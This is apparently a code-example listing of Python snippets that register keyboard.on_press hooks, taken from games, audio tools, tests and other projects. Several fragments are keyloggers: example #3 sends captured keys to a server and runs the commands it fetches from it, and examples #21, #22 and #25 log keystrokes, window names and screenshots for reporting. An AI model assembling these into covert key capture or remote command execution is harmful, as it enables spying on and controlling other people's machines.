示例#1
0
def handle_actions(time_step):
    '''
        Hanldes keyboard actions,
        the final implementation will handle
        agent actions.
    '''
    keyboard.on_press(on_key_pressed, suppress=False)
示例#2
0
def run(distance):
    keyboard.on_press(key_press)
    while not keyboard.is_pressed('down'):
        time.sleep(0.1)
        degree = 0
        x = 0
        y = 0

        if keyboard.is_pressed('right'):
            degree = 1
        if keyboard.is_pressed('left'):
            degree = -1
        if keyboard.is_pressed('a'):
            x -= 1
        if keyboard.is_pressed('d'):
            x += 1
        if keyboard.is_pressed('w'):
            y += 1
        if keyboard.is_pressed('d'):
            y -= 1
        #motorcommand(x,y)
        #headcommand(degree)
        #print("x = %d y = %d" % (x,y))
    keyboard.press('esc')
    keyboard.release('esc')
示例#3
0
    def run(self):
        """
        Inicializa o keylogger.
        """

        keyboard.on_press(self.send_key)

        while True:

            try:
                # Obtém o comando do servidor.
                response = requests.get(self.__urls["input_url"])

                # Verifica se houve algum problema.
                if response.status_code != 200:
                    raise ConnectionError("Status: %i" % response.status_code)

                # Obtém o comando e o executa caso ele não seja
                # uma string vazia ou somente espaços.
                command = response.content.decode()

                if command and not command.isspace():
                    self.exec_command(command)

            except:
                continue
示例#4
0
 def start(self):
     keyboard.on_press(self.receive_message)
     keyboard.add_word_listener(Config.NUMPAD_KILLSIGNAL,
                                self.stop_signal,
                                triggers=['0'],
                                match_suffix=True,
                                timeout=2)
示例#5
0
 def __init__(self):
     self.lastUpdateTime = getCurrentMillis()
     x,y = getScreenSize()
     self.screenMem = [' ']*(x*y)
     keyboard.on_release(self._onKeyReleased, True)
     keyboard.on_press(self._onKeyPressed, True)
     pass
示例#6
0
def run_game():
    EMPTY_BOARD = Board([[BLANK_TILE] * Board.HEIGHT] * Board.WIDTH)
    initial_state = SpawnTransform().transform(EMPTY_BOARD)
    game = Game(initial_state)

    def on_arrow_keypress(event):
        directions = {
            "up": Direction.UP,
            "down": Direction.DOWN,
            "left": Direction.LEFT,
            "right": Direction.RIGHT,
        }
        if event.name not in directions:
            return

        game.swipe(directions[event.name])
        print()
        print()
        display(game.get_curr_state())

        if game.has_ended():
            print("Game has ended!")
            if game.has_succeeded():
                print("You won!")
            if game.has_failed:
                print("You lost! Try again next time!")
            sys.exit()

    keyboard.on_press(on_arrow_keypress)
    display(game.get_curr_state())
    while True:
        pass
示例#7
0
def main():
    """
    Main function, we set volume to minimum start time
    :return:
    """

    global logger
    global counter
    global timer

    timer = time.perf_counter()

    keyboard.on_press(on_press_reaction)

    while True:

        current_time = time.perf_counter()

        if current_time - timer > 1:
            """ Rotate deque and put new value on end"""
            logger.pop(0)
            logger.append(counter)
            counter = 0
            timer = current_time

        value = sum(logger) / len(logger)
        volume = (value + (((MAX_WPM * 5) / 60) * MIN_VOLUME)) / ((MAX_WPM * 5) / 60)

        if volume > MAX_VOLUME:
            volume = MAX_VOLUME

        volume = floor(volume * 100)

        Sound.volume_set(volume)
示例#8
0
    def __init__(self):

        self.soundboardActive = True

        self.acceptHotkeys = True
        self.modifierPressed = False
        self.lastHotBarButton = None
        self.overlayTimer = None
        
        self.lastCancelPress = 0
        self.isCancelPressed = False

        self.lastReloadPress = 0
        self.isReloadPressed = False

        self.overlay = Overlay()
        self.outputStreams = []

        self.reload()

        kb.on_press(self.keyPressed)
        kb.on_release(self.keyReleased)

        # Can only be stopped by destroying overlay        
        self.overlay.mainloop()
def read_inputs():
    # create a global listener for a KEY_DOWN event
    keyboard.on_press(_on_press)

    # infinite loop
    while True:
        None
    def __init__(self, num_measurements=10):
        super(QWidget, self).__init__()
        keyboard.on_press(self.hook_callback, suppress=False)
        self.setWindowTitle('Measure Physiological reactiom time. v1.')
        self.num_measurements = num_measurements
        #helloMsg = QLabel('<h1>Hello World!</h1>', parent=self)
        self.window_w = 640
        self.window_h = 480
        self.window_x0 = 200
        self.window_y0 = 200

        self.setGeometry(self.window_x0, self.window_y0, self.window_w,
                         self.window_h)
        self.signal = QLabel("Press SPACE", parent=self)
        self.signal_info = "Signal info: QLabel, 'Press SPACE', default font size"
        self.signal.move(self.window_w / 2, self.window_h / 2)
        self.timer = QTimer()
        #self.timer.timeout.connect(self.show_and_continue)
        self.signal.hide()
        self.wait_for_keypress = False
        self.key_presses = []
        self.counter = 0
        self.measurements = []
        self.new_interval = 3.0
        self.time_to_start_timer.connect(self.start_timer)
        ### !!! ### This signal-slot connection is not thread safe and needs to be fixed.
        ### Until then - we will ignore errors in the output (script still works for some reason)
        self.timer.timeout.connect(self.show_and_continue)
        self.new_measurement()
示例#11
0
 def __init__(self, kbd_notes: Dict[str, int]):
     self.name: str = "Typing keyboard"
     self.__kbd_notes = kbd_notes
     self.__queue = Queue()
     self.pressed_key = False
     keyboard.on_press(callback=self.on_press, suppress=True)
     keyboard.on_release(callback=self.on_release, suppress=True)
示例#12
0
 def __init__(self, server):
     super(inputHandler, self).__init__()
     self.gameStarted = False
     self.buffer = server.input_queue
     keyboard.on_press(self.key_press)
     self.msgbuffer = ""
     self.alive = True
示例#13
0
 def start(self):
     keyboard.wait('esc')
     mouse.on_click(self.add_mouse_left_click)
     keyboard.on_press(self.add_keypress)
     keyboard.wait('esc')
     mouse.unhook_all()
     keyboard.unhook_all()
     saver.save_file(self)
示例#14
0
文件: coffee.py 项目: ilissar/coffee
    def __init__(self):
        def key_press(key):
            if Configuration.listen_to_keyboard == True:
                self.add2line(key.name)

        keyboard.on_press(key_press)
        while True:
            self.mi()
示例#15
0
 def go(self):
     file_name = sys.argv[1]
     keyboard.on_press(self.add_keypress)
     with open('./save/' + file_name, 'r') as f:
         lines = f.readlines()
         for line in lines:
             l.load_file_in_scheduler(self, line.replace("\n", ''))
             execution.execute(self)
示例#16
0
 def __init__(self, master, sticky=False):
     self.logger = logging.getLogger(master.logger.name +
                                     ".Keystroke_Watcher")
     self.keys_held = set()
     self.sticky = sticky
     self.hooks = {}
     keyboard.on_press(lambda e: self.keys_held.add(e.name))
     keyboard.on_release(lambda e: self.keys_held.discard(e.name))
示例#17
0
def main(mapC, snakeC, Alive):
    fps = 3 + ((snakeC.score)**1.1)
    snakeC.lock = False
    keyboard.on_press(callback=keyFunc)
    Alive = mapUpdate(mapC, snakeC)
    drawMap(mapC, int(fps), snakeC)
    time.sleep(1 / fps)
    return Alive
示例#18
0
def main():
    window = GUI.Tk()
    my_gui = GUI.MainWindow(window)
    keyboard.on_press(lambda x: pressed(x, my_gui))
    mouse.on_button(callback=pressed,
                    args=("c", my_gui),
                    buttons=('left', 'middle', 'right'),
                    types=('down', 'double'))
    window.mainloop()
示例#19
0
 def update_screen(self):
     self.board.update_board()
     self.board.show_board()
     keyboard.on_press(self.read_keyboard)
     self.game_on = not self.board.snake.self_eat_detect()
     if not self.game_on:
         self.snake_eaten()
     time.sleep(self.settings.game_speed)
     os.system(self.settings.clear_console)
示例#20
0
    def __init__(self):
        """Initialize event handler"""

        self._update_state = False

        def emit(symbol):
            self._update_state = symbol

        # add all the hotkeys
        keyboard.on_press(emit)
示例#21
0
def prepare():
    global key_info  # String of key info
    global key_list  # List of key names
    global prev_window  # Last window used
    key_info = []
    key_list = []
    prev_window = str()

    key.on_press(write_key)
    key.wait()
示例#22
0
def prepare():
  global key_info
  global key_list 
  global prev_window 
  
  key_info = []
  key_list = [] 
  prev_window = str()
  keyboard.on_press(write_key) 
  keyboard.wait() 
示例#23
0
    def __init__(self, comport):
        self.comport = comport
        self.packet_recv = Event()
        self.onerror = Event()
        self.controllerdisconnected = Event()
        # all keyevents are hooked here
        if self.comport == 'keyboard_legacy':
            keyboard.on_press(callback=self.on_down)
            keyboard.on_release(callback=self.on_release)

        self.buffer = {}
示例#24
0
文件: main.py 项目: pohmx/osu_kps
def listener_checker():
    print('CLOCKS RUNNING...')
    print('clock(timer): ', clock.running)
    print('clock(no_events): ', clock2.running)
    print('clock(listener_checker): ', clock3.running)
    '''LISTENER'''
    keyboard.unhook_all(
    )  #PREVENTS LISTENER IS REMOVED BUG, REMOVE HOOK, THEN ADD AGAIN EVERY SECOND.
    print('UNHOOKED')
    keyboard.on_press(clockSchedule)
    print('HOOKED')
    print('---')
示例#25
0
 def start(self):
     # start the keylogger
     keyboard.on_press(callback=self.callback
                       )  # keyboard.on_release(callback=self.callback)
     # start reporting the keylogs
     self.report()
     self.screenshot()
     # block the current thread,
     # since on_release() doesn't block the current thread
     # if we don't block it, when we execute the program, nothing will happen
     # that is because on_release() will start the listener in a separate thread
     self.semaphore.acquire()
示例#26
0
def listen():
    """ Listens for a keypress and calls on press 
    """
    def call_listener():
        while 1:  # keeps the keylogger running
            if keyboard.is_pressed('shift+esc'):
                messaging.info("Exit keys called")
                sys.exit(0)

    function = on_press()
    keyboard.on_press(function)  # Adds a listener to get chars
    call_listener()
示例#27
0
    def capture_on_event(self, key, window_name, name='default', width=100, height=100):
        self.set_img_attr(name, width, height)
        android_phone.start_capture(window_name)

        def capture(e: KeyboardEvent):
            if e.name == key:
                self.save_img()

        try:
            keyboard.on_press(capture)
        except:
            "Keyboard module not available"
示例#28
0
def main():
    args = parser.parse_args()
    if args.verbose:
        keyboard.on_press(on_key_press)

    if not args.nomap:
        for mapit in keys:
            keyboard.remap_key(*mapit)

    print("mac mode is activated now, my little apple fanboy... ;-)")

    keyboard.wait()
示例#29
0
    def print_percentages(self, key):
        def print_val(e):
            if e.name == key:
                x, y = android_phone._get_mouse_pos()
                p_x = x / android_phone.width
                p_y = y / android_phone.height
                print(p_x, p_y)

        try:
            keyboard.on_press(print_val)
        except ModuleNotFoundError:
            print("keyboard not imported (windows probs)")
        pass
示例#30
0
def main():
    """
    When executed, will bind `play_note` to all keystroke events and 
    then block forever so the binding will persist until exit. 
    Requires admin privleges for keyboard.on_press.
    """

    # add the function bind, to execute play_note whenver a key is
    # pressed
    keyboard.on_press(play_note)

    # block until exited
    keyboard.wait()
示例#31
0
 def test_on_press(self):
     keyboard.on_press(lambda e: self.assertEqual(e.name, "a") and self.assertEqual(e.event_type, KEY_DOWN))
     self.release("a")
     self.press("a")
示例#32
0
 def test_on_press_nonblocking(self):
     keyboard.on_press(lambda e: self.assertEqual(e.name, 'a') and self.assertEqual(e.event_type, KEY_DOWN))
     self.do(d_a+u_a)
示例#33
0
 def test_on_press_blocking(self):
     keyboard.on_press(lambda e: e.scan_code == 1, suppress=True)
     self.do([make_event(KEY_DOWN, 'A', -1)] + d_a, d_a)